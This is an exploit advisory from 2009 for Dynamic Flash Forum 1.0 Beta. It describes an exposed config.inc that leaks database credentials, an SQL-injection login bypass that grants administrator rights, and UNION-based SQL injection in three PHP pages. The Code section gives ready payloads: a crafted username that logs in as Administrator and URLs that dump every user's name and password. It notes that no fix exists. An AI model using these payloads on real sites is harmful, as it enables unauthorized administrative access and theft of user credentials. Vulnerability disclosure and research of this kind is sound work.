******* Salvatore "drosophila" Fresta *******
[+] Application: Dynamic Flash Forum
[+] Version: 1.0 Beta
[+] Website: http://df2.sourceforge.net/
[+] Bugs: [A] Information Disclosure
[B] Authentication Bypass
[C] Multiple SQL Injection
[+] Exploitation: Remote
[+] Date: 09 Apr 2009
[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx_at_gmail.com
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[+] Menu
1) Bugs
2) Code
3) Fix
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[+] Bugs
- [A] Information Disclosure
[-] File affected: config.inc
This file contains reserved informations such as
the username and the password for connecting to
the database. Using .inc extension only, the
content is visible.
- [B] Authentication Bypass
[-] Requisites: magic_quotes_gpc = off
[-] File affected: login.php
This bug allows a guest to bypass the authentication
system and to login with administrator privileges.
- [C] Multiple SQL Injection
[-] Requisites: magic_quotes_gpc = off
[-] File affected: viewprofile.php, viewmessage.php,
viewthreads.php
This bug allows a guest to execute arbitrary
queries.
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[+] Code
- [A] Information Disclosure
http://www.site.com/path/config.inc
- [B] Authentication Bypass
Username: -1' UNION ALL SELECT 'password', 1, 'Administrator' FROM users%23
Password: password
- [C] Multiple SQL Injection
http://www.site.com/path/viewprofile.php?userID=-1' UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,GROUP_CONCAT(CONCAT(username, 0x3a,
password)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM users%23
http://www.site.com/path/viewmessage.php?threadID=-1' UNION ALL SELECT
NULL,NULL,NULL,NULL,GROUP_CONCAT(CONCAT(username, 0x3a,
password)),NULL,NULL,NULL FROM users%23
http://www.site.com/path/viewthreads.php?boardID=-1' UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,NULL,GROUP_CONCAT(CONCAT(username, 0x3a,
password)) FROM users%23
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[+] Fix
No fix.
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<pre>-- Salvatore "drosophila" FrestaCWNP444351</pre>
